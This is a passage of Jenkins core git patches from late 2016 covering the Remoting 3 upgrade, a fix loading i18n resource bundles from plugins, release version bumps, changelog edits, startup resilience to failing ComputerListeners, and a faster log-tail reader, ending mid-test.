+++ b/core/src/main/resources/jenkins/slaves/Messages.properties @@ -23,3 +23,4 @@ JnlpSlaveAgentProtocol.displayName=Java Web Start Agent Protocol/1 JnlpSlaveAgentProtocol2.displayName=Java Web Start Agent Protocol/2 JnlpSlaveAgentProtocol3.displayName=Java Web Start Agent Protocol/3 +JnlpSlaveAgentProtocol4.displayName=Java Web Start Agent Protocol/4 diff --git a/core/src/test/java/jenkins/slaves/DefaultJnlpSlaveReceiverTest.java b/core/src/test/java/jenkins/slaves/DefaultJnlpSlaveReceiverTest.java deleted file mode 100644 index a093f8ec25..0000000000 --- a/core/src/test/java/jenkins/slaves/DefaultJnlpSlaveReceiverTest.java +++ /dev/null @@ -1,145 +0,0 @@ -package jenkins.slaves; - -import static org.junit.Assert.assertFalse; -import static org.junit.Assert.assertTrue; -import static org.junit.Assert.fail; -import static org.mockito.Mockito.any; -import static org.mockito.Mockito.verify; -import static org.mockito.Mockito.when; -import static org.powermock.api.mockito.PowerMockito.mockStatic; - -import hudson.TcpSlaveAgentListener.ConnectionFromCurrentPeer; -import hudson.remoting.Channel; -import hudson.slaves.SlaveComputer; -import jenkins.model.Jenkins; - -import java.io.IOException; -import java.util.Properties; -import java.util.concurrent.ExecutionException; -import java.util.concurrent.Future; -import java.util.concurrent.TimeUnit; -import java.util.concurrent.TimeoutException; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.mockito.Mock; -import org.mockito.MockitoAnnotations; -import org.powermock.core.classloader.annotations.PrepareForTest; -import org.powermock.modules.junit4.PowerMockRunner; - -@RunWith(PowerMockRunner.class) -@PrepareForTest(Jenkins.class) -public class DefaultJnlpSlaveReceiverTest { - - @Mock private Jenkins mockJenkins; - @Mock private SlaveComputer mockComputer; - @Mock private Channel mockChannel; - @Mock private JnlpSlaveAgentProtocol2.Handler mockHandshake; - @Mock private Future mockFuture; - - private DefaultJnlpSlaveReceiver receiver; - - @Before - public void setUp() throws Exception { - MockitoAnnotations.initMocks(this); - - mockStatic(Jenkins.class); - when(Jenkins.getInstance()).thenReturn(mockJenkins); - - receiver = new DefaultJnlpSlaveReceiver(); - } - - @Test - public void testHandle() throws Exception { - when(mockJenkins.getComputer("node")).thenReturn(mockComputer); - when(mockComputer.getChannel()).thenReturn(null); - when(mockChannel.getProperty(any(String.class))).thenReturn("some cookie"); - when(mockHandshake.jnlpConnect(mockComputer)).thenReturn(mockChannel); - when(mockHandshake.getRequestProperty("Secret-Key")).thenReturn("mock-secret"); - when(mockComputer.getJnlpMac()).thenReturn("mock-secret"); - - assertTrue(receiver.handle("node", mockHandshake)); - verify(mockHandshake).success(any(Properties.class)); - verify(mockChannel).setProperty(any(String.class), any(String.class)); - } - - @Test - public void testHandleWithInvalidNode() throws Exception { - when(mockJenkins.getComputer("bogus-node")).thenReturn(null); - - assertFalse(receiver.handle("bogus-node", mockHandshake)); - } - - @Test - public void testHandleTakeover() throws Exception { - when(mockJenkins.getComputer("node")).thenReturn(mockComputer); - when(mockComputer.getChannel()).thenReturn(mockChannel); - when(mockHandshake.getRequestProperty(any(String.class))).thenReturn("some cookie"); - when(mockChannel.getProperty(any(String.class))).thenReturn("some cookie"); - when(mockComputer.disconnect(any(ConnectionFromCurrentPeer.class))).thenReturn(mockFuture); - when(mockHandshake.jnlpConnect(mockComputer)).thenReturn(mockChannel); - when(mockHandshake.getRequestProperty("Secret-Key")).thenReturn("mock-secret"); - when(mockComputer.getJnlpMac()).thenReturn("mock-secret"); - - assertTrue(receiver.handle("node", mockHandshake)); - verify(mockFuture).get(15, TimeUnit.SECONDS); - verify(mockHandshake).success(any(Properties.class)); - verify(mockChannel).setProperty(any(String.class), any(String.class)); - } - - @Test - public void testHandleTakeoverFailedDisconnect() throws Exception { - when(mockJenkins.getComputer("node")).thenReturn(mockComputer); - when(mockComputer.getChannel()).thenReturn(mockChannel); - when(mockHandshake.getRequestProperty(any(String.class))).thenReturn("some cookie"); - when(mockChannel.getProperty(any(String.class))).thenReturn("some cookie"); - when(mockComputer.disconnect(any(ConnectionFromCurrentPeer.class))).thenReturn(mockFuture); - when(mockFuture.get(15, TimeUnit.SECONDS)).thenThrow(new ExecutionException(null)); - - try { - receiver.handle("node", mockHandshake); - fail(); - } catch (IOException e) { - // good - } - } - - @Test - public void testHandleTakeoverTimedOut() throws Exception { - when(mockJenkins.getComputer("node")).thenReturn(mockComputer); - when(mockComputer.getChannel()).thenReturn(mockChannel); - when(mockHandshake.getRequestProperty(any(String.class))).thenReturn("some cookie"); - when(mockChannel.getProperty(any(String.class))).thenReturn("some cookie"); - when(mockComputer.disconnect(any(ConnectionFromCurrentPeer.class))).thenReturn(mockFuture); - when(mockFuture.get(15, TimeUnit.SECONDS)).thenThrow(new TimeoutException()); - - try { - receiver.handle("node", mockHandshake); - fail(); - } catch (IOException e) { - // good - } - } - - @Test - public void testHandleAttemptTakeoverWithNullCookie() throws Exception { - when(mockJenkins.getComputer("node")).thenReturn(mockComputer); - when(mockComputer.getChannel()).thenReturn(mockChannel); - when(mockHandshake.getRequestProperty(any(String.class))).thenReturn(null); - when(mockChannel.getProperty(any(String.class))).thenReturn("some cookie"); - - assertTrue(receiver.handle("node", mockHandshake)); - verify(mockHandshake).error(any(String.class)); - } - - @Test - public void testHandleAttemptTakeoverWithInvalidCookie() throws Exception { - when(mockJenkins.getComputer("node")).thenReturn(mockComputer); - when(mockComputer.getChannel()).thenReturn(mockChannel); - when(mockHandshake.getRequestProperty(any(String.class))).thenReturn("bogus cookie"); - when(mockChannel.getProperty(any(String.class))).thenReturn("some cookie"); - - assertTrue(receiver.handle("node", mockHandshake)); - verify(mockHandshake).error(any(String.class)); - } -} diff --git a/pom.xml b/pom.xml index 2154088eff..e7b7014a59 100644 --- a/pom.xml +++ b/pom.xml @@ -180,7 +180,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 2.62.2 + 3.0 -- GitLab From ab16e52519260c0e9398f15256ed8061a4c00bf0 Mon Sep 17 00:00:00 2001 From: Thorsten Scherler Date: Sat, 22 Oct 2016 12:21:56 +0200 Subject: [PATCH 398/811] [FIX JENKINS-35845] Internationalisation for Blue Ocean and JDL (#2586) * Load i18n resource bundles from plugins if not found in jenkins core Signed-off-by: Thorsten Scherler * Issue 404 response for missing i18n resource bundles Currently issues a 200 with an "error" response payload. This change still issues the error response payload, but also sets the HTTP response. Signed-off-by: Thorsten Scherler * [JENKINS-35845] Fix test since we return now a 404 * [JENKINS-35845] add test for getting locale from plugin. fix comments from oleg. * [JENKINS-35845] Fix description * [JENKINS-35845] Update PR with comments from Oleg * [JENKINS-35845] Add feedback from tom * eslint - formating changes and fix offences * eslint - formating changes and fix offences * [JENKINS-35845] remove code concerning 404 response. Fix resourceBundle test by prevent NPE to happen * [JENKINS-35845] Link to issue on which we introduced the test --- .../main/java/hudson/util/HttpResponses.java | 1 + .../java/jenkins/util/ResourceBundleUtil.java | 47 ++++++++++++++++++- test/src/test/java/jenkins/I18nTest.java | 21 +++++++-- 3 files changed, 65 insertions(+), 4 deletions(-) diff --git a/core/src/main/java/hudson/util/HttpResponses.java b/core/src/main/java/hudson/util/HttpResponses.java index 511a3f20e0..ccef89059e 100644 --- a/core/src/main/java/hudson/util/HttpResponses.java +++ b/core/src/main/java/hudson/util/HttpResponses.java @@ -29,6 +29,7 @@ import org.kohsuke.stapler.HttpResponse; import org.kohsuke.stapler.StaplerRequest; import org.kohsuke.stapler.StaplerResponse; +import javax.annotation.CheckForNull; import javax.annotation.Nonnull; import javax.servlet.ServletException; import java.io.File; diff --git a/core/src/main/java/jenkins/util/ResourceBundleUtil.java b/core/src/main/java/jenkins/util/ResourceBundleUtil.java index a62c3fa772..edf8de5fab 100644 --- a/core/src/main/java/jenkins/util/ResourceBundleUtil.java +++ b/core/src/main/java/jenkins/util/ResourceBundleUtil.java @@ -27,12 +27,16 @@ import net.sf.json.JSONObject; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; +import javax.annotation.CheckForNull; import javax.annotation.Nonnull; +import hudson.PluginWrapper; +import java.util.logging.Logger; import java.util.Locale; import java.util.Map; import java.util.MissingResourceException; import java.util.ResourceBundle; import java.util.concurrent.ConcurrentHashMap; +import jenkins.model.Jenkins; /** * Simple {@link java.util.ResourceBundle} utility class. @@ -42,6 +46,7 @@ import java.util.concurrent.ConcurrentHashMap; @Restricted(NoExternalUse.class) public class ResourceBundleUtil { + private static final Logger logger = Logger.getLogger("jenkins.util.ResourceBundle"); private static final Map bundles = new ConcurrentHashMap<>(); private ResourceBundleUtil() { @@ -72,7 +77,23 @@ public class ResourceBundleUtil { return bundleJSON; } - ResourceBundle bundle = ResourceBundle.getBundle(baseName, locale); + ResourceBundle bundle = getBundle(baseName, locale, Jenkins.class.getClassLoader()); + if (bundle == null) { + // Not in Jenkins core. Check the plugins. + Jenkins jenkins = Jenkins.getInstance(); // will never return null + if (jenkins != null) { + for (PluginWrapper plugin : jenkins.getPluginManager().getPlugins()) { + bundle = getBundle(baseName, locale, plugin.classLoader); + if (bundle != null) { + break; + } + } + } + } + if (bundle == null) { + throw new MissingResourceException("Can't find bundle for base name " + + baseName + ", locale " + locale, baseName + "_" + locale, ""); + } bundleJSON = toJSONObject(bundle); bundles.put(bundleKey, bundleJSON); @@ -80,6 +101,30 @@ public class ResourceBundleUtil { return bundleJSON; } + /** + * Get a plugin bundle using the supplied Locale and classLoader + * + * @param baseName The bundle base name. + * @param locale The Locale. + * @param classLoader The classLoader + * @return The bundle JSON. + */ + private static @CheckForNull ResourceBundle getBundle(@Nonnull String baseName, @Nonnull Locale locale, @Nonnull ClassLoader classLoader) { + try { + return ResourceBundle.getBundle(baseName, locale, classLoader); + } catch (MissingResourceException e) { + // fall through and return null. + logger.warning(e.getMessage()); + } + return null; + } + + /** + * Create a JSON representation of a resource bundle + * + * @param bundle The resource bundle. + * @return The bundle JSON. + */ private static JSONObject toJSONObject(@Nonnull ResourceBundle bundle) { JSONObject json = new JSONObject(); for (String key : bundle.keySet()) { diff --git a/test/src/test/java/jenkins/I18nTest.java b/test/src/test/java/jenkins/I18nTest.java index a934422532..5f2da8e793 100644 --- a/test/src/test/java/jenkins/I18nTest.java +++ b/test/src/test/java/jenkins/I18nTest.java @@ -23,6 +23,7 @@ */ package jenkins; +import com.gargoylesoftware.htmlunit.FailingHttpStatusCodeException; import net.sf.json.JSONObject; import org.junit.Assert; import org.junit.Rule; @@ -31,6 +32,7 @@ import org.jvnet.hudson.test.JenkinsRule; import org.xml.sax.SAXException; import java.io.IOException; +import org.jvnet.hudson.test.Issue; /** * @author tom.fennelly@gmail.com @@ -49,9 +51,22 @@ public class I18nTest { @Test public void test_baseName_unknown() throws IOException, SAXException { - JSONObject response = jenkinsRule.getJSON("i18n/resourceBundle?baseName=com.acme.XyzWhatever").getJSONObject(); - Assert.assertEquals("error", response.getString("status")); - Assert.assertTrue(response.getString("message").contains("com.acme.XyzWhatever")); + try { + JSONObject response = jenkinsRule.getJSON("i18n/resourceBundle?baseName=com.acme.XyzWhatever").getJSONObject(); + } catch (FailingHttpStatusCodeException e) { + Assert.assertNotNull(e); + Assert.assertTrue(e.getMessage().contains("com.acme.XyzWhatever")); + } + } + + @Issue("JENKINS-35270") + @Test + public void test_baseName_plugin() throws IOException, SAXException { + // ssh-slaves plugin is installed by default + JSONObject response = jenkinsRule.getJSON("i18n/resourceBundle?baseName=hudson.plugins.sshslaves.Messages").getJSONObject(); + Assert.assertEquals("ok", response.getString("status")); + JSONObject data = response.getJSONObject("data"); + Assert.assertEquals("The launch timeout must be a number.", data.getString("SSHConnector.LaunchTimeoutMustBeANumber")); } @Test -- GitLab From 12236a8e5a53e4b368ff4d67661afd739875d41a Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 23 Oct 2016 12:18:15 +0200 Subject: [PATCH 399/811] Changelog: Noting#2595, #2492, #2590 and #2586 --- changelog.html | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) diff --git a/changelog.html b/changelog.html index a3123ac384..542fb3dc8e 100644 --- a/changelog.html +++ b/changelog.html @@ -56,9 +56,33 @@ Upcoming changes

                          What's new in 2.26 (2016/10/17)

                          -- GitLab From bfa9cc368c92b2161fb8b4b8f7974f9a02b4be42 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 23 Oct 2016 13:22:10 +0200 Subject: [PATCH 400/811] Changelog: Wrong link in #2586 --- changelog.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 542fb3dc8e..e343c78e93 100644 --- a/changelog.html +++ b/changelog.html @@ -74,7 +74,7 @@ Upcoming changes Add missing internationalization support to ResourceBundleUtil. It fixes internationalization in Blue Ocean and Jenkins Design Language. - (issue 37565) + (issue 35845)
                        5. Internal: Make the code more compatible with Java 9 requirements and allow its editing in newest NetBeans versions with NB bug 268452. -- GitLab From 4598b2e954935f51246dbca2fc328381632d679d Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 23 Oct 2016 19:39:05 -0700 Subject: [PATCH 401/811] [maven-release-plugin] prepare release jenkins-2.27 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 9fc2489ae7..eb7f9d3eed 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.27-SNAPSHOT + 2.27 cli diff --git a/core/pom.xml b/core/pom.xml index 9a22896dd3..2bbb5cca19 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.27-SNAPSHOT + 2.27 jenkins-core diff --git a/pom.xml b/pom.xml index e7b7014a59..5d13acc72f 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.27-SNAPSHOT + 2.27 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.27 diff --git a/test/pom.xml b/test/pom.xml index 0a49ba09f4..84273ad065 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.27-SNAPSHOT + 2.27 test diff --git a/war/pom.xml b/war/pom.xml index f83cd5e10e..88aa2e732a 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.27-SNAPSHOT + 2.27 jenkins-war -- GitLab From a7b024bbdfd694fef63f12848b60d6d340f22f55 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 23 Oct 2016 19:39:05 -0700 Subject: [PATCH 402/811] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index eb7f9d3eed..57371941e3 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.27 + 2.28-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 2bbb5cca19..9b6d671e21 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.27 + 2.28-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 5d13acc72f..42b739241e 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.27 + 2.28-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.27 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 84273ad065..986f630235 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.27 + 2.28-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 88aa2e732a..7fd61134e1 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.27 + 2.28-SNAPSHOT jenkins-war -- GitLab From bedbe1a72f2bbf5e4943547aa338c968062f96a1 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 23 Oct 2016 19:50:00 -0700 Subject: [PATCH 403/811] updated changelog for release --- changelog.html | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index e343c78e93..b9e11acf28 100644 --- a/changelog.html +++ b/changelog.html @@ -55,6 +55,11 @@ Upcoming changes +

                          What's new in 2.27 (2016/10/23)

                          • Upgrade to the Remoting 3 baseline. Compatibility notes are available @@ -84,7 +89,6 @@ Upcoming changes Deprecate TopLevelItemDescriptor#getIconFilePathPattern() and switch to IconSpec. (issue 38960)
                          -

                      What's new in 2.26 (2016/10/17)

                      What's new in 2.28 (2016/10/30)

                      -- GitLab From 58e1228c99fd3d5063b0967d7780dc536bc2c463 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 5 Nov 2016 21:42:20 +0400 Subject: [PATCH 453/811] [FIXED JENKINS-38487] - Jenkins startup must not fail in the case of ComputerListener failure (#2610) Without this code Jenkinbs startup fails if EnvInject fails to find global property file on startup. Javadoc says "Exceptions will be recorded to the listener. Note that throwing an exception doesn't put the computer offline." regarding the listener method exception, hence we should not block Jenkins startup --- .../java/hudson/slaves/ComputerListener.java | 2 +- core/src/main/java/jenkins/model/Jenkins.java | 24 +++++++++++++++---- .../test/java/jenkins/model/JenkinsTest.java | 19 +++++++++++++++ 3 files changed, 39 insertions(+), 6 deletions(-) diff --git a/core/src/main/java/hudson/slaves/ComputerListener.java b/core/src/main/java/hudson/slaves/ComputerListener.java index c2e4dc1f70..b166a6c40d 100644 --- a/core/src/main/java/hudson/slaves/ComputerListener.java +++ b/core/src/main/java/hudson/slaves/ComputerListener.java @@ -143,7 +143,7 @@ public abstract class ComputerListener implements ExtensionPoint { * Starting Hudson 1.312, this method is also invoked for the master, not just for agents. * * @param listener - * This is connected to the launch log of the computer. + * This is connected to the launch log of the computer or Jenkins master. * Since this method is called synchronously from the thread * that launches a computer, if this method performs a time-consuming * operation, this listener should be notified of the progress. diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index e69b1dbda4..427a782adf 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -958,11 +958,25 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve updateComputerList(); - {// master is online now - Computer c = toComputer(); - if(c!=null) - for (ComputerListener cl : ComputerListener.all()) - cl.onOnline(c, new LogTaskListener(LOGGER, INFO)); + {// master is online now, it's instance must always exist + final Computer c = toComputer(); + if(c != null) { + for (ComputerListener cl : ComputerListener.all()) { + try { + cl.onOnline(c, new LogTaskListener(LOGGER, INFO)); + } catch (Throwable t) { + if (t instanceof Error) { + // We propagate Runtime errors, because they are fatal. + throw t; + } + + // Other exceptions should be logged instead of failing the Jenkins startup (See listener's Javadoc) + // We also throw it for InterruptedException since it's what is expected according to the javadoc + LOGGER.log(SEVERE, String.format("Invocation of the computer listener %s failed for the Jenkins master node", + cl.getClass()), t); + } + } + } } for (ItemListener l : ItemListener.all()) { diff --git a/test/src/test/java/jenkins/model/JenkinsTest.java b/test/src/test/java/jenkins/model/JenkinsTest.java index 936e1ae977..27528d2e04 100644 --- a/test/src/test/java/jenkins/model/JenkinsTest.java +++ b/test/src/test/java/jenkins/model/JenkinsTest.java @@ -42,6 +42,7 @@ import com.gargoylesoftware.htmlunit.html.HtmlPage; import hudson.maven.MavenModuleSet; import hudson.maven.MavenModuleSetBuild; +import hudson.model.Computer; import hudson.model.Failure; import hudson.model.RestartListener; import hudson.model.RootAction; @@ -51,6 +52,7 @@ import hudson.security.FullControlOnceLoggedInAuthorizationStrategy; import hudson.security.HudsonPrivateSecurityRealm; import hudson.util.HttpResponses; import hudson.model.FreeStyleProject; +import hudson.model.TaskListener; import hudson.security.GlobalMatrixAuthorizationStrategy; import hudson.security.LegacySecurityRealm; import hudson.security.Permission; @@ -70,6 +72,7 @@ import org.kohsuke.stapler.HttpResponse; import org.mockito.ArgumentCaptor; import org.mockito.Mockito; +import java.io.IOException; import java.net.HttpURLConnection; import java.net.URL; @@ -452,4 +455,20 @@ public class JenkinsTest { assertThat(rsp.getContentAsString(), containsString("Node is offline")); assertThat(rsp.getStatusCode(), equalTo(404)); } + + @Test + @Issue("JENKINS-38487") + public void startupShouldNotFailOnFailingOnlineListener() { + // We do nothing, FailingOnOnlineListener & JenkinsRule should cause the + // boot failure if the issue is not fixed. + } + + @TestExtension(value = "startupShouldNotFailOnFailingOnlineListener") + public static final class FailingOnOnlineListener extends ComputerListener { + + @Override + public void onOnline(Computer c, TaskListener listener) throws IOException, InterruptedException { + throw new IOException("Something happened (the listener always throws this exception)"); + } + } } -- GitLab From a57b52ec7e16d9b9985d6303e918aa6fdfa0a141 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Sat, 5 Nov 2016 15:26:24 -0400 Subject: [PATCH 454/811] [FIXED JENKINS-39454] Do not consider pendings when deciding whether a schedule result should be new or existing, as we have already taken a snapshot of actions. (#2609) --- core/src/main/java/hudson/model/Executor.java | 3 +++ core/src/main/java/hudson/model/Queue.java | 13 +++++++++++-- 2 files changed, 14 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/model/Executor.java b/core/src/main/java/hudson/model/Executor.java index 03b146908c..d30ecf5da8 100644 --- a/core/src/main/java/hudson/model/Executor.java +++ b/core/src/main/java/hudson/model/Executor.java @@ -389,6 +389,9 @@ public class Executor extends Thread implements ModelObject { } if (executable instanceof Actionable) { + if (LOGGER.isLoggable(Level.FINER)) { + LOGGER.log(FINER, "when running {0} from {1} we are copying {2} actions whereas the item currently has {3}", new Object[] {executable, workUnit.context.item, workUnit.context.actions, workUnit.context.item.getAllActions()}); + } for (Action action: workUnit.context.actions) { ((Actionable) executable).addAction(action); } diff --git a/core/src/main/java/hudson/model/Queue.java b/core/src/main/java/hudson/model/Queue.java index 28e24f8f2e..bbc227604e 100644 --- a/core/src/main/java/hudson/model/Queue.java +++ b/core/src/main/java/hudson/model/Queue.java @@ -612,6 +612,9 @@ public class Queue extends ResourceController implements Saveable { for (Item item : duplicatesInQueue) { for (FoldableAction a : Util.filter(actions, FoldableAction.class)) { a.foldIntoExisting(item, p, actions); + if (LOGGER.isLoggable(Level.FINE)) { + LOGGER.log(Level.FINE, "after folding {0}, {1} includes {2}", new Object[] {a, item, item.getAllActions()}); + } } } @@ -1049,7 +1052,13 @@ public class Queue extends ResourceController implements Saveable { List result = new ArrayList(); result.addAll(blockedProjects.getAll(t)); result.addAll(buildables.getAll(t)); - result.addAll(pendings.getAll(t)); + // Do not include pendings—we have already finalized WorkUnitContext.actions. + if (LOGGER.isLoggable(Level.FINE)) { + List thePendings = pendings.getAll(t); + if (!thePendings.isEmpty()) { + LOGGER.log(Level.FINE, "ignoring {0} during scheduleInternal", thePendings); + } + } for (Item item : waitingList) { if (item.task.equals(t)) { result.add(item); @@ -1414,7 +1423,7 @@ public class Queue extends ResourceController implements Saveable { p.task.getFullDisplayName()); p.isPending = false; pendings.remove(p); - makeBuildable(p); + makeBuildable(p); // TODO whatever this is for, the return value is being ignored, so this does nothing at all } } -- GitLab From 2e8c3bec8ea150621ba0d01c8d44dc2b00b550bf Mon Sep 17 00:00:00 2001 From: Akbashev Alexander Date: Sun, 6 Nov 2016 11:25:58 +0100 Subject: [PATCH 455/811] [FIXED JENKINS-39535] - Optimize get log method (#2607) * Add some tests to current behaviour of getLog method * getLog(maxLines) reads only last maxLines lines now It should speed up and reduce memory consumption for some plugins (i.e. Email-ext Plugin). Also now this method could be used to get last lines of build output in efficient manner. * Fix issues from code review --- core/src/main/java/hudson/model/Run.java | 75 ++++++++++++++------ core/src/test/java/hudson/model/RunTest.java | 44 +++++++++++- 2 files changed, 96 insertions(+), 23 deletions(-) diff --git a/core/src/main/java/hudson/model/Run.java b/core/src/main/java/hudson/model/Run.java index 43c5e414c8..dfb4dffd14 100644 --- a/core/src/main/java/hudson/model/Run.java +++ b/core/src/main/java/hudson/model/Run.java @@ -36,13 +36,16 @@ import hudson.ExtensionList; import hudson.ExtensionPoint; import hudson.FeedAdapter; import hudson.Functions; +import hudson.console.AnnotatedLargeText; +import hudson.console.ConsoleLogFilter; +import hudson.console.ConsoleNote; +import hudson.console.ModelHyperlinkNote; +import hudson.console.PlainTextConsoleOutputStream; import jenkins.util.SystemProperties; import hudson.Util; import hudson.XmlFile; import hudson.cli.declarative.CLIMethod; -import hudson.console.*; import hudson.model.Descriptor.FormException; -import hudson.model.Run.RunExecution; import hudson.model.listeners.RunListener; import hudson.model.listeners.SaveableListener; import hudson.model.queue.Executables; @@ -58,7 +61,7 @@ import hudson.util.FormApply; import hudson.util.LogTaskListener; import hudson.util.ProcessTree; import hudson.util.XStream2; -import java.io.BufferedReader; + import java.io.ByteArrayInputStream; import java.io.File; import java.io.FileInputStream; @@ -68,6 +71,7 @@ import java.io.InputStream; import java.io.InputStreamReader; import java.io.OutputStream; import java.io.PrintWriter; +import java.io.RandomAccessFile; import java.io.Reader; import java.io.StringWriter; import java.nio.charset.Charset; @@ -83,7 +87,6 @@ import java.util.GregorianCalendar; import java.util.HashMap; import java.util.HashSet; import java.util.LinkedHashMap; -import java.util.LinkedList; import java.util.List; import java.util.Locale; import java.util.Map; @@ -113,9 +116,14 @@ import org.acegisecurity.AccessDeniedException; import org.acegisecurity.Authentication; import org.apache.commons.io.IOUtils; import org.apache.commons.jelly.XMLOutput; +import org.apache.commons.lang.ArrayUtils; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; -import org.kohsuke.stapler.*; +import org.kohsuke.stapler.HttpResponse; +import org.kohsuke.stapler.QueryParameter; +import org.kohsuke.stapler.Stapler; +import org.kohsuke.stapler.StaplerRequest; +import org.kohsuke.stapler.StaplerResponse; import org.kohsuke.stapler.export.Exported; import org.kohsuke.stapler.export.ExportedBean; import org.kohsuke.stapler.interceptor.RequirePOST; @@ -1930,31 +1938,54 @@ public abstract class Run ,RunT extends Run getLog(int maxLines) throws IOException { - int lineCount = 0; - List logLines = new LinkedList(); if (maxLines == 0) { - return logLines; - } - try (BufferedReader reader = new BufferedReader(new InputStreamReader(new FileInputStream(getLogFile()), getCharset()))) { - for (String line = reader.readLine(); line != null; line = reader.readLine()) { - logLines.add(line); - ++lineCount; - // If we have too many lines, remove the oldest line. This way we - // never have to hold the full contents of a huge log file in memory. - // Adding to and removing from the ends of a linked list are cheap - // operations. - if (lineCount > maxLines) - logLines.remove(0); + return Collections.emptyList(); + } + + int lines = 0; + long filePointer; + final List lastLines = new ArrayList<>(Math.min(maxLines, 128)); + final List bytes = new ArrayList<>(); + + try (RandomAccessFile fileHandler = new RandomAccessFile(getLogFile(), "r")) { + long fileLength = fileHandler.length() - 1; + + for (filePointer = fileLength; filePointer != -1 && maxLines != lines; filePointer--) { + fileHandler.seek(filePointer); + byte readByte = fileHandler.readByte(); + + if (readByte == 0x0A) { + if (filePointer < fileLength) { + lines = lines + 1; + lastLines.add(convertBytesToString(bytes)); + bytes.clear(); + } + } else if (readByte != 0xD) { + bytes.add(readByte); + } } } + if (lines != maxLines) { + lastLines.add(convertBytesToString(bytes)); + } + + Collections.reverse(lastLines); + // If the log has been truncated, include that information. // Use set (replaces the first element) rather than add so that // the list doesn't grow beyond the specified maximum number of lines. - if (lineCount > maxLines) - logLines.set(0, "[...truncated " + (lineCount - (maxLines - 1)) + " lines...]"); + if (lines == maxLines) { + lastLines.set(0, "[...truncated " + Functions.humanReadableByteSize(filePointer)+ "...]"); + } + + return ConsoleNote.removeNotes(lastLines); + } - return ConsoleNote.removeNotes(logLines); + private String convertBytesToString(List bytes) { + Collections.reverse(bytes); + Byte[] byteArray = bytes.toArray(new Byte[bytes.size()]); + return new String(ArrayUtils.toPrimitive(byteArray), getCharset()); } public void doBuildStatus( StaplerRequest req, StaplerResponse rsp ) throws IOException { diff --git a/core/src/test/java/hudson/model/RunTest.java b/core/src/test/java/hudson/model/RunTest.java index ef4d51e514..58ce9a5b6e 100644 --- a/core/src/test/java/hudson/model/RunTest.java +++ b/core/src/test/java/hudson/model/RunTest.java @@ -159,7 +159,7 @@ public class RunTest { Job j = Mockito.mock(Job.class); File tempBuildDir = tmp.newFolder(); Mockito.when(j.getBuildDir()).thenReturn(tempBuildDir); - Run r = new Run(j, 0) {}; + Run, ? extends Run> r = new Run(j, 0) {}; File f = r.getLogFile(); f.getParentFile().mkdirs(); PrintWriter w = new PrintWriter(f, "utf-8"); @@ -169,4 +169,46 @@ public class RunTest { assertTrue(logLines.isEmpty()); } + @Test + public void getLogReturnsAnRightOrder() throws Exception { + Job j = Mockito.mock(Job.class); + File tempBuildDir = tmp.newFolder(); + Mockito.when(j.getBuildDir()).thenReturn(tempBuildDir); + Run, ? extends Run> r = new Run(j, 0) {}; + File f = r.getLogFile(); + 